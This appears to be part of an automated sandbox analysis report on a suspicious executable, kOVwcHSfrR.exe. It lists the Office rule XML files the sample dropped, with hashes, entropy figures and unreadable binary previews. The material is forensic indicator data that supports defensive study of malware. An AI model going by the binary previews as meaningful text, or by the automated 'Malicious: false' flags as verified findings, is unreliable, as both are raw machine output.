Preview:	<?xml.L.7zq.%....j.`.Un...F.......C./.l...D:....L.N..%.SZ..>..b,....l..).........<.c.\N.......y...bY..6....}<...y.tR.3C.r.8.....Os1.%F......F..laR.PG...s.,.....-@.^.$v'...6K#.jGy.._..I..:=w..\L.z.v,..h..t...mZ..%e.%.......J$.]...G:+..&3.i.....o............(.h}..7...."...9p.r;V8'...gM..K.5..6.w.....)>..-..Q...v....Y.3z...2V..hR.X..t....@..]....i..\......u0.....C.G....q....~...2....I..L}..L.G...(.K.I...Ob\|.3H.lo.....D.".u.Z.M.....]..N....T..7.N.MTJx.n._.D]$y..c..^..k....O....<Y,.5..:.o.]..l.....&............QY.w.[......Nd...~..............n.s5....C....m..j.3....z$.(..px.L...B..M.bb.A.'0.j..G5...Z...X....e...GC.D...../.]q..B..[F&\|.\|.&.v.M. 0W..0....s.....V.hh.r2.ux...N}..O..cR..`..hj...v...@.iI.v._3....=^].U.+?.....MV.r.U/.Y.1...-.. ,...HM.t"...N..(..=.#...i..?r...xI,......P......3FF..u.@.;0...@4...Vvw..f....hT.p.N...../.10...o[7.Dc..%Y....~...e......<........@g../..W?h%{..H.``...X..6.e..f.&s..j....\...S.GE.x..Q>....d.5.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180057v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2008
Entropy (8bit):	7.895203795287288
Encrypted:	false
SSDEEP:	48:SScxrGkeCcu+wx/i0RuyE6kE7DdJkq8HhzR8nyD:SXrGkj6wx/iTyE8dJkTB+a
MD5:	7AE75248C4429A73C2FB0A13E6679D01
SHA1:	9CFFF88FB982D11078377D269AE5B4E6EF382538
SHA-256:	09652DA9ADDAC195FB548B1BF0AC7ACD89A63289EDDDF5D8D0EEAECCCFE883BE
SHA-512:	6C078348B1B94D840BF6B610F09E96BD6718E2F77DA1FC631A0FD05A3025230D93235CEB89EA66C90276E3BF80374E2382E75C3085ECACED7E84B804203F8B2C
Malicious:	false
Preview:	<?xml....Y...}a.t..fcX3...{..#.M)P....C..p9:.$..#A....K.5. 4...S.`...rE.2w /.-bZ..yT.5G`(NH..'S.[...p./......\|.B.b..h..V.~z...7..Z....S...V..n..R....r.n%U...ct...j}t.....b..C%..S......,...9.G..).)7s.J.U.<......)...l....rv. ..N.2....U_0T..L.Y.o......IS...l.......E"...Z....yl3S.G\"^~.B,S.hL..C{.....`.@P..{.W..3....k....=M_..&Z..5.!.....AkZ.\|J....{...X...Y.P,......NM3...C%...D.j#.P.SI.DEEk.../...}.M.(..Pz..J@7.wDuh..V;...wd...(x..%M..p./V#9I,z,.q.{.5..a~?.o:...=>.^o.pT.l..D.s...\B....M...]..._......5-...M......).......P.U.6R...$\Ju.\|.~........O-d.~..:c$5o9...?0GG.tQV...os.Q/\..>(_.Tl......j7m.....<!z..U..{..c..Q..;t6...N..Fo..@p.t\.~4..X.....f...'.... .K.k.x.2....A..O...P.......4......\.1..]..........{......8..9n.SFNK../...b.Z..vdYg.V.j.PB.).w.%...F.....&........Z....mBM..79~.J...4.i..C..'.Ai...t..\..{.2..QF.`.6...,....P...)-9dN.:.o....W......s:...^.[...n.-......bJ..=.....s.Li.3..._u..E..C....[..5*A.7..h..\.i.=.f.<.&..DS..u.IR.......S.../.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500002v2.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1145
Entropy (8bit):	7.821271065935278
Encrypted:	false
SSDEEP:	24:Nz003d0UpK9pIGtEsQ4703lw+zfDdADXKfOtUlPMFm28zpkfw1bD:5kUpqp7EsQ470e+zfBiE/kI28zpoyD
MD5:	028CA6CF7B0F9935F435455229222B22
SHA1:	074D4872E91A696413617F278A982A7695D0CA6D
SHA-256:	5E447A585A42BB8703C79333DBB7335BCC8BB9C5DF7688CE1C095AB82109F093
SHA-512:	671992AADA3504993812AE94AD3C248B5093B4AF98CC533364AC8171DE287928A9ADEF69CE06E7CD48DB051CA832A5EC421AC61E364E0A9B93CF368B4D5F3DC1
Malicious:	false
Preview:	<?xml.r...K"R.{m.5.a'.eA.....`X6Z\Q...L.d.v...$. .Nz.Yo...E......S..D...`.4.'Ey....a.Y..u.7......:~..k......e..9OF..T.M....E......v...v..).IM... p[o...v@/H..P...Z..=.8......Pg..U$y`.!!.....a.c...K.b......oy&ok....g...[.mb..\.=..#......s..IJ...!k..c..7..k..U.6..\.6^....".\|.j)......2g.zS...<......S.......pWI..@=..XU...z.....q[..w.3.u..2.ajC.!&(.UUwA..<.k..F.re..@s..l8x..F."..Y...;YWI1P.+.x.CnR..A9JAC..d.8.H-.!..p2"d.N..f.jm..~.,.B...t.qR....S.....p9..o....../..".k9@=.f)>`Tc.m.(..3.....&.W.Ac.....h:...Z!.D(._....O.+~.H.).o.y..H....N..p......y...3`4.%>f.Ez.....0P...L.....fR..%l).A...0..)?e......}.B.z..fi...FJK.n.=.Z~.....pT..'.I.;g..KE... .[.....ql....7....i..@p..Y........l..Iv,......p..\|..Qix!y.834........@.'.c...B....k%. ......)...ik.9v...W....#.(>[...B........P.x..1Y._SU...tB'a9"..a...,.{..D............n...i"...]"bV.uR....].......@..]..\|..P{..'m..#'........v.?.Z#.b)mJNt..}.......g...)...R(f../C.....r...B}......5G9G....s\|.tS..?.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500003v2.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1145
Entropy (8bit):	7.83556102710515
Encrypted:	false
SSDEEP:	24:MNlwAnb0maM25GlWEmFsUpoYrkM+Sz5z1qZ6sTMzQfsu/w1bD:4VnB25GlW5FrDLG6szUMyD
MD5:	1ED7BBBE02BAAE6C65AE1D677C2DD818
SHA1:	D8083D4C96320A516A6B6D4C9B17400678E67BB8
SHA-256:	9AFE58EC454CD22633F94CE591ABE9BF09C05242F763E41B4E19A6EAC58FEB57
SHA-512:	0CA416B1BF2F2552F8544B90E73E1CC8C257AD37D242163C576F20C8C2F33308BBE93363E6C161E46A013C93E510B596B0B59094CB0A21A3B3949D8E6B477027
Malicious:	false
Preview:	<?xmlD.....xOtj...f:<...j.>.d..6.....g...[...K.Hs.X>......'..m(_....JL...z..a.i................Oh..U.q..}<.......2.....fk.T.v..6...eE!..^[..fj.,.^........^.!..>...EP......m\|..P_...2.fJ.\|"..t....9.....B...zy.}j....W....sP.Fo'rw.X...)..]x..'q..@./]....H@.....#.\|)!J..2....!./3...c}.d6.,..V....VT@V<#9.~..`^..E9_....!..'..2.?.N.h"I.u.1...u'.0..c.WY..T.F).\|n.....-.......p.r..G.P&............5.V .]`G..H.i..!.........H.z,..#...2.7........-..S.H..g../.......u...".3..8.k6..........v...........Jg..'qwo..y..3Q.. i7.K.W/..r...o...~.........[.6.H1.Inex.{...=Y,.P...C.]...ap}.$G...'_A.......3..J..e..&.7.No...E..7:...f.U.kU.h.f...(..MH.$.w....)....m+(.$...9}...+..F.......x.J.`...U...Cm.`.. ...ZC.:;.4..KC.!.. .:.Z.C..0........!.<.rS....V..*.D\|..".....t.R..i..xGW..&..7..._...u!&.W...j.!.?.....6..esD.W.Z~po"...>h.0....@....;..z.y.H..3M)e8.+>.{(0=E....+..q>5b.Q.3%g....4.5..y..u.L......UJkD[..0.....\......w.&.....?....A...+...ODO.9._

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500004v2.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1145
Entropy (8bit):	7.8156931699621826
Encrypted:	false
SSDEEP:	24:MK0zLWi08Wk+6kxL9nFPZLLxQefM0z0ufSpv23Po9NUw1bD:YXn6kExLfZfrzbUvMo9NUyD
MD5:	7A7A096BE1BEBC8E5F9712AEB58646E8
SHA1:	377525059CAC2490B480DA4F3C8C731840F76B08
SHA-256:	A3C9948E7A5EF7CA4CBAD0C3ED73D846DB1E8AAF2661C2314E33CBE420A4E487
SHA-512:	05046AB32B0A2093168C19419BBF86E0E5446C153C0943AF492ACA056569B11AD5B6A790EF2072CD40315ACD0A737E2BBAA86E331812A69E57A4B80381CC78EB
Malicious:	false
Preview:	<?xmlO.....2.!D...)O.C......xfxU.q......:_.Q.....k..........U.o.".J....!3w.4u...%;..3t....UJ.l'l...U.K6.&+..!.. .....;Q\{r.M....g...F"W.5t......Y.L.'..j.\|y.g..hWd7..0...^..z...........r.}.....)..Q...&.F......H.....j..Z.x.G.<c\.ba....X......L.{...........&A.7Q.!.)...<+...(.8P.`9..Q..jf..4.A.....<...U....@.....R...tp.z...E..k...9A. .U.....<t]^.\.-8....j.{.-.R.K.M`.X...\......fQ....T"..[........D.k+..-.F..., .9..K...eAU.mt.).fJ....g...f..dl\|...~]H.......;.!}.......K..]..5.x....J....?g#U.x.....n.e.na..@..?2U>Zc...O.....ni.....X..8..P/r7...s.X.p..5>.E._ ....\....R....9./.t..^5=k...u..OyB.#.?...,a?.E.&.(.=..^C2H...#.!/.S...Y..%\*<..<......~s~Ew.:.....i..N.D.Z;.0m....n...`...3.I..O..4^Xur........q1..N..Zg.y.=&@.E..5....p...a....$....X......e..<Z..}..rW.....zicg...W.Uzt.`.4...T....}i.}........(j..(GJ.Lb....$....h...U.c.._.C.F..]......7..m.........?.t@.......2..ZoA...\> k.....I...[....AHpK^].v....@.Y.'..}.sb).....?..g..t\KE...]g..)...f

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500005v2.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1144
Entropy (8bit):	7.806209015854606
Encrypted:	false
SSDEEP:	24:gEWZ8I5vTpQqSwvsXO4kHA5FbeakBh4YtlOhxQTOXhFs5Otw1bD:8ZD5vNQqJv/VlOQkftyD
MD5:	9E1CBC0EA4E0626017D0BF686649AA86
SHA1:	A9728D36138076ECAE7A66CA4B03F5438FD744CF
SHA-256:	CA20C76E7F0548607AD487F0F7C25BCC357045547129A8B39E371186142CA1B2
SHA-512:	E0C405458B06926FD2C5D8C6D5219289B02D6FF28C4E8885205BF7095EC37B1680CF7D956D69D742A4E1CB1104A083469EB45044CB529AC22D66315CEBC5EAAD
Malicious:	false
Preview:	<?xml....gM.1._.n.........5.L.....s.8.Nb..b.\|...:.....<...$.}\..l...,-T....#...U..>.O....I=.4...ob].........s.yG}&.9<K..#%7...$E$Y.<......$.ps.].8..).Y....KV/.b..z:.. ...cv.._J..l.3.....g.x.g..:8 .{.....a..k.UsO.Dy.e.>....!..+.[.2..0_.H...r..('z.i,Y#W.........7w.".....X.....)...#..j.N...O:;.s.f.......m.....@..\|......)\...7t...w.y_Yd....o..V....`....`.X,<E#q.t.......h..$s.!...(.E......c.#..-1.....:...Z........E).....8.R^(.\|.}..n....Q....G....:....p:......bpnb.&7.._.....H.....\.x.a`...aY.A...1..Dt\|:..V..../.@..3<a......j..0.j.\S..X.x0"y#wYZ....i.U.(<......-......%.s..es".._.Q..Z...-....TV.t...........E......JgEC.nv.O...H..2..9;.....o..W..T....nSi.A....Hl6.+.Q..&.BR.....x.^q.y..#n.x%.4.w..\|..H......r=..=&.U#.xC......uB...C..W.a..$...\...H..W....s}..y.w.[(...<R6#l.....0.hQ....r6..U...h7..M..}yh..."`w.r.y7....B.8M.g5.6A....."...J.a.J.Wd9.!.QW.. %..H.....(.,LZ5>.T....N...^..CV&..?.]._.....m...Z.."..OU."$C.......).Xk...Bty.`..{.e.$oB.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500006v2.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	7.773052337261417
Encrypted:	false
SSDEEP:	24:UXIzGoBcljOBb+lk4aMTkIGKBt5dDOG2VoZKHSRYcMl5w1bD:UKejOx+XTrX2VoaSRCl5yD
MD5:	B1D9218A764CBA6D9AAC967BF6772810
SHA1:	E5FBC396A5248942D8C84E36C69A1D3D8F1B61DE
SHA-256:	37AEB26740E1A5472447B59BA0C2D91A97C2F599A91D40AC3997CB1C6C4F1BBE
SHA-512:	EA8273F72AAC18A5E1C994236830828FCE617A7F3F49F54892FEAC6FA84B833BC7C11714AAD65C604C2F8EA848DFDDCEA392EEC534B2C9D9D4A4F1A20118165F
Malicious:	false
Preview:	<?xml..h.tN.......]d.chZ.RQ........~.{.L..Iy. i.Sm.\@S;.w)..\G0V....8.W3..z..w.NJA>X..&9z>...M.;.-.....Z...>..........\|.........K.....R.I..F=..9..M5Y.Y}......=....3....+)..p.{.!..;7a.JK3...9G..~..A0..@.Z...a.or.N3.@...`...r.=v..QH3E`.....A..y...Y0.>.... .8..\.x..\|.....f....a.....o."....}#.........s5..=...J....M...bub..3l.yx..}/..B.o...2.=6......On.5;........Y.g..~......e..~.;Q.q..e.......e.cQ4W..j...,..J'GB..wr&..b.I..+M..A...t..B......W..jU...j]....Rk.)...f.4.f.@{.o_..`Z...0.g...%(d.Ty...6..~...U.i.OT&.Yq./s%....\..l...............a.%A4.#/Zn.....?........=.W...[.T.?_..5$.....5.b....t.N?.a...[..T....].....-h[44!s.G3.W3.w.6......o?...6.m.>...q......8....\..DY.9..."Kg...o....'.nGr.@..a..e....\l..p....e;.\|..gt......}..!v....bTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500007v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	767
Entropy (8bit):	7.692724175942614
Encrypted:	false
SSDEEP:	12:oO3ZqWzCgqf2bt6BztV3fQIbPhEDg1db6ngBZXjVfPx5I/G3Kzqj1YLd7l27DmoB:XquIp3vQoogvbjvXj/W/GGuOw1bD
MD5:	FDFF0DF4198B135D854FE66F91573C67
SHA1:	67A1534FFA55C36A1F1412E10F3D80CC88BD14D9
SHA-256:	FF3467FFA0789A15B473ECFC2B65DC304BBDB231DAA4462B6C91B7792C32570F
SHA-512:	C912BD5C6DE9E4C6801F3ACB0F1D1EE183A68F80FBB16A1CE3E3B288C6B53E272551B2C2EC7C81773C73E3AB2D153005ABE67458B7B851C8B2AC9BE5B59B5CC3
Malicious:	false
Preview:	<?xml....I. ..m..Q.FS.....SLtb.I....l.rS\..w8\uR4.J.r....:..d.p.Ii...`qYM.=...n...=.v.hY...5.E..,0R..O-..[.T.}Yz'..\|J.8....+...;Y.!.u..5....h6.-.a.........6.,..7........<M...L..$<..07.."...q.c.o.7..CO.!^~.:D.mz.x.$.j......1....M.G..'.s.r.:?.."..-.xcL....;J...w5/.W..J.ETs.#.'./s........`p.U...m....B"g...(..N.Jg....sk.'@.Gs..>P..<....SonW.d..[u....rC.r.....^.(.Ea...^.$\.P3.N..HF.h.0...:<42.i...8.....A.5.#....-...8F(!.z..U....s..z......[5...c.9.S.;...1.....C..c2..\.w*IZ.ts.....o,.M/.C..#r.=I..0N.(.C.k..q..Qs6..v.`...:6.[.nm8......l.M....G./...T..iQ.B^.?...t.....CF'm.....{.J.).._.]0....'...`..L.~7;...~....(..&=...........SX....e..+....F.(.^.~.P5..c%M]O.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500008v2.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	845
Entropy (8bit):	7.755051737656945
Encrypted:	false
SSDEEP:	12:Vr0BA+jeqaVSIRmnHk+f7dxOrdVMYB9q94B8vYJv5i8xNZURA25VlaGNqAiuPoqa:VAHjNa1wHnSM+qs8c88xNZcRaGcww1bD
MD5:	4019AF5356C14292AC3F77899A6BC39A
SHA1:	C2DACDF505180C41BB24B161DBA0FB95576C7ED9
SHA-256:	1D921DA19A826357A532448EF6EB13276E550F7DC8A31451D8051453855063F8
SHA-512:	6AC813BEFCBF9C99AF49923BD8ACD6AF3F32963FF14A37E960E1B9E8BF32A14F08425D968001CBAAB4E8A232CF48C006F0CB00B3D4BF9E3F635E9C3D0EC4651D
Malicious:	false
Preview:	<?xml.\|Y..{.mj....z..\..U.J...2.,y+.#m9P..x.xjq.../W.=.{.J{..).+..]....F.......)q0......La.T8C.A1.........r.[...`.G.....N...8.....;M...-I.L..l..>......l>.$.e.t.Ix........W..u....._.gl...p....+.t{.>!..U....`.wfdM.......1...S.:.l.....I'..<....hbx...+..!y.[5.[.]1~.....Z.1.O../..F.#.....TsB,..(.....w(6.......V...........TK....+...,j...C\.o..T...Oc..{..TP..8..g#.../JRymw.kY.i.o..Y....y..$$.....V..o.1<.U<.!.<^.....~..}.GF.=@..^o..A.P..Eo.V..P....%..h..p.`.3...Q.}...H..i....../..~..<x....L=....6.....(.....uH.........axRJ.F.w.o4......fi.{\|a...h$..U.....[........+...t.......b....V..E'.T.F9-..57Y.y......@)_9<.<........c\.Egt....w)...xL.Z....U%..E[. ...v:..\|.~.e:.L.G..g...D...X...v.......5..w2"B.)6.{........?+..\|.u&k.mTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500009v4.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	7.8416659910396165
Encrypted:	false
SSDEEP:	24:8rXwtly1Ci2ygi2IXJglm++MwO7ONM7l3G2D8OSwt0GUq2ZVw1bD:awwWlm+P5ma27dwt0w4yD
MD5:	8B16A1A92F3FA567B07D21544F937245
SHA1:	8A9B83398E2FAA1BE35D3AECC1DEE76F9C8526F8
SHA-256:	33FE4F4A99953332C37E347DA9DAF5E2955BB4750EBBC8F9C5F7C0F4BB24917D
SHA-512:	E2AF93BB9DA0B3D052DF6BB2C5BFEFB1696889B3B3E38135C12D356A836273153906A0D71E492ED417B31C181CE8F1C3EBB05A553336CBDC35E7D5C52E08420C
Malicious:	false
Preview:	<?xmli....D........k{.....G=Dg.f.:........NCf$I.......B_..<....U...).V....'.E...{.!.S\|....$..'?..!..Um.`..?,..."!0C$..l <=? . .J:..a.LXv.y?....fmf;uY ._.#...o5%E..+L.....\....Hpqt.w\|.M..C..@.....2.w'ox...._..j......u.............[a.v.R.E.a.'.b..Pfd...K...hlfJ..+`...2s9e.A%............z9.[...};..]Rm...C.L..`....$P............)..M......`.....+.......0.....?.YQh...A........~.%.(....S..lb.m.....o_..E.P.yT...P..N...T..+'..+N..v..@B..OiZC..r.YAp.....p...VU......).~.....dJ...J.8i,.r....f_t..x.N...[-.2.Xo!.m.@O..C./......t.4X%D..R.g`......y....F.e>. .-..+.2W.$..%..t).SW4~..n.YHz.[..>4&...U6b......D...VP'.io..Y;`.E2z.M:...K...v..XP.....}!..@..7..4.k8O.k7.P...F.&_K.(.~..."...+,.`... 0.(.}. ...S..dM.Ud.u..6.U...Xi..V6;..K+....lC$.;.t..~..?B9nkf.G.\|s..o...iZO.u}.0..V.Z...].&.=5.,.).]..q....X.,z..l.8hr.n.o...D..SM....;.4..>......v.Qp%"...NQ..C...A{....8i>.Q..A_..`'gJ.u.....#y..3.j.....]."w.~..t..b.5N.......N.Z.....b..s\|9q%...J..S..I.....Ym..J.M...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500022v4.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	7.7571574580970095
Encrypted:	false
SSDEEP:	24:zActdO8Bad/ZQ8jBLlC7nXjBuOuMMAlzArlqAom2w1bD:nfXkpZrFl0nVujMMAlG9gyD
MD5:	93BDF3A8BA1F665C93E638043A8B3B7E
SHA1:	295C19CF3D0B24139050383744DB760E9946718C
SHA-256:	D99FED755E4DCE341D34CE9F766E0D644DAFBE6431CCF0CCD720AA494CC48749
SHA-512:	8EE3EB24066B03659514322DC8C5AD6EDE9869E8EC9C201CF2995E91845690653AAF6348AFA2D3778D68755FD260C3EC4A0733CF7C4E71985EB29FAF0D1AEFDB
Malicious:	false
Preview:	<?xmlk...m..[5,g.....^...W....#\|.(`.yt[.O..L#..GR....L..6.Y.%#.j....c.o../....69D......7.p].x.aBe........!5@...g..KD6a.4...fT;.....7U.....'...g......?}..G.d..O..Z....(_~k...?..lBYIa..........D.BY......0j.1A.x\.s........].........W....~.,..1......./j...8....D.H...pW..."..Pq..i.P....L.....$.GZ.S:8.h.g....P..._.....Qw.B.q.sr..RNK..e._..\|^#..s....2.z.Y.L.-[.....8.:.g.....&,..J.~.PQ...}.MD.?.......o:..q/.i.9,<.`.-A...trP.....O..+.-h..&.qD.c.'.)o...@..Z.E/...TR.`...r..).(4....BGh\|..>E.........U..4J..3_A..).....\S.n..2..J....%l O..kR..q...."i...h.E..L~W..:qW..;.Q..Y.3.2.4.^....E..^.2..8d0..V..: ...Q........{....[.".r?........:)r.lF.MZ?..^j.(.I.S....aq.)CN....:%..K..z..tO.M.C...O;v23...(.:...c_f./.......NC>.gm.+.,T..$.>...]ig...KuU0P..`....r......s........%.Q.../..eK.2.....5.8e..".....*H.]..eoc..TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500023v4.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	969
Entropy (8bit):	7.766594541849831
Encrypted:	false
SSDEEP:	24:/Xmwe84yXI4MihvOQ4sw/sC/kAHsXRgdWK3F6ntIPw1bD:/XBe84y1MQvOQ43k/JK19yD
MD5:	EC239AC4276F293BB4A3B24A1CB94FC9
SHA1:	48CD84AD093C95388C1F2A1FBC70AC919A12C162
SHA-256:	CAA00C22BFDB8ECA4EEE7EFF56943A23DB02A76FEBC90DA2F69CBB6DEBF0B0C1
SHA-512:	BA6947BA9E64A9591F65AEA88D9D6DE17D4A3F10EBCF1456C0D0732BD0AFF251D4CCDF1C2E677D695ABE47EC8742E19C93803A9AB62846FCEA5362EF78614D37
Malicious:	false
Preview:	<?xml..1S..U.n.el!:_..R..G.'.K....xC.W........X.$.U1...l(Y..J)F..U......s5.'..pl1%..5....."j.y.W........-...PI3k\..P....[..NJ.tM2.Z..g...Y.....l...G ..iw.el2\-..Hy.1..&.{.1..}..4.(....~..9.p.i2n..j.o.rJ8.v..u..._..L=.BD:.CN.<..]1..."..._.......)$. f.....r...*..R...R.%..1...:...j.iFe7b...vTt.1.L0!..'.8..mD9=..9.Lz...X6sLi..\|..D......\|...=...A....va...a..N.v....8./R.I..G...-.5..<...4..(.#...S<t.W...:.)...-.....nb.......X.I..!.G.d..~=..U....O.... .g5..}...P.L.3..r...t.\|..B&..`.?.$d..e.B.....#..+..;s[P..oe.V4.z...b.....X.d.u......j.Vi8&.g...LC.b.b.Wmg.0l. ."............'(\|.ho...w&+..@...a.p.+fU..D...c......I.<g%V.0@>..y................3I..%_u.C.k...p.W..%.#.g...c\|........jG1..U.2..9......-.......).G....$.9.._.a..3.G.I.w.uS...L.L.D..h1......J.<....L.....z....W+.ve!2.Z.38a.u].9...2..8.&.._=...h...7..9...n!K....x..@H...Mb.gQ.7.......TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500024v2.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1467
Entropy (8bit):	7.856717578087433
Encrypted:	false
SSDEEP:	24:rcRx62QilJ28hP5KYWL+6vWZEN5q/H/DeU1pKJN+taaeLHw57Xxw1bD:u6FilLUYWNN+ysKJNhdHWByD
MD5:	B5F7375E87900DA13C4DE0D40B3C9AED
SHA1:	990207787F70D0BEBA472CE0AB9FF855EE77237C
SHA-256:	CBF118E9A025EFFA4296C479D9EDDB4EFE549998FD8E65B762C7DDB5AD41827D
SHA-512:	6912EFE2E5AF697259757457C8B9D213981C3A2B0AFB79250AAE501AF17A0080B82D560767E9616450A2651A0DE77044F5F7A686107E907FDD41532FD2382865
Malicious:	false
Preview:	<?xmlK.E$/9.o.Y.J..[1.#o...{..sn.q.U....!.x.6...S.L.Y[ymh.0XE.UE....G/.WBn6g..Z.m .W6...%...[C>..jJ8(........UN.#..H...qf..#>y.Rl=..-V....\|.x<..,p.=.........a.......8:a4.+).}D...wO4./...[..k.......W..Qy.M...$...ZSMv.$..,..8...`....;r.)./ ..i.6t.>...0C=.yY..%~..LiF...K7Z..^...?<'.+....oS.._....]aa...7wn.GN..d...\R...S.@G./i...I....;.......q...V'O...Y...o.!.nj,.+s..~.h....8@.n....!.,m...zm..."t.3>..Y..$.....y......i`.iBq...p.?LVwf../..y{p?.\`c....7....(..g.fo..Z..xm..k..a...l..O.._.\3.SR..W..3 q...].Y.M.3..d.p...A.IQ..t.9...s.F.."?. ?(m.B...G7..-.......4..6.`j...-.f.!Gj9p7...B1...@BG..$[!..k!s.& ...!O.^58.7^..C.b.6.V...D.6...$5.$...\|......5=...$......O4........W....0-...a...H.DNz.....]..t....:3<>P3KS.)......;.......?....42o.Q...}.z.............V...../.{N8..l.)%.G.o...:V.....MkS...Y..m.dz..~a..V.'d.a....v.D.....[..,7.`.1.$.6.\.@........Tv.<....9.F....v..L.W..A....'../I...7H"..}.-x 6.K...0.V-=.L.-...>:4._.M..V..K-..Z.w

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510000v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1397
Entropy (8bit):	7.841049064176017
Encrypted:	false
SSDEEP:	24:9gOQh+mhJSy3xdwVdKP4ybE15C2rlUoFyS0SoBGHaMNoukJJ18ou3NHPE1hTX/wd:9H0J5aVdhyElhUoFySfoGaMNojX18oul
MD5:	3239A2C38F86CF10F3BEBE3B6BCF82C8
SHA1:	D3015390B5129C8B3CEF44A78E0AA4F526DFB5D8
SHA-256:	E545B436DD0BABC7326230FF2838B2184054F4E4FC3B578F9DA99A43D602B4BB
SHA-512:	52D8DDF3ED5D3743A7177246ACC4BC83FC06D5F7386CD4BDEE7842A27B4E24A8771C3A24C36FA9D3337225EDF8CCA3EDDC2C013EC94A61A87472C7A67E1EBFC2
Malicious:	false
Preview:	<?xml.u...s.+....K.E...P...\|.U._.%.i..P'kO,.QL....>wR......{c...KOT.Lg^Y.c..-........Jp..R%Z$...mO..:q6!7..+.3@!...".\o..@H.uZ..Y..b...[..........Ge..;S.y..........T.}~u.SU%..t2.QT...0..Z)...2.+G..ctH"@.....\.N^<K...Y8N.....1._.....t\|.u....1.w4.#c.O.4N.d...`...\...x....R..Ln."..z......Bhx2..@/.v......SLM...Z.-i._...A..L:.vC..I...zZ.wv... ......`.?..-w-^..R.Z.....'.@.....h....9...Zf.S.....0..6..x[.$G<.D...MAs....@.R..9.X....\|)<.~..-dV.u:..-..-]s.T+RU..DE..t..N?.+...#.... .Tr..,/.y...C......,.ZC`...W..-...@$...KI.i..Y....\K~.'.p.\|.mZ.........D.....`.RG...~.....E......?.[.M..O.'."Eb.[..#.h.klZ.`./L..L.j}Y:)..6..\|.\..]..A.7.-.M...u}......on.....e.e.v.H._[u..c$A#w..H.7..R.....0.E..^..,.r0[x<r.G.:.a).&F...GZ./....5.E.^.+F7^.G).P.{h.. M:l.*..-6{.sp]bz....h........u.).....QP.cZ.....K..p.....@b3.X..<...vj.8#G.\.$:..m.........}...#...9xg......{...j.F$...X....,\.?.q./....+.h;KY.<'b..]......9....,y.?..SM.l..p......0}..<Tf./.{..O#......Yo...FB..;}8f,.J.O......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510005v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1269
Entropy (8bit):	7.8176377115639495
Encrypted:	false
SSDEEP:	24:IVm7+aZTIFV1TaPyhhn4SHCDBWC4zUkPcV/frnkoWOc7bbOifw1bD:cg+aZTe1iyhWSSBAcV3zkTfOIyD
MD5:	394F07FC86F3EBDDEC0D3DB3FD2AFA70
SHA1:	8D1252925E987F79CEE5AE30F5B6B0285E1EB0AD
SHA-256:	4E66F980E83D0F789735E926F9F60028D1791097D9A27E7975F49DBE925B5C69
SHA-512:	7A863065038A818EA1B6A95A6020FBCF9F69555662BE30256FAA472CC0AF9BB9FE5E647F9737E067F045215AA1833C4F07FFAD353A00C874A6FD962ED1D9EC6F
Malicious:	false
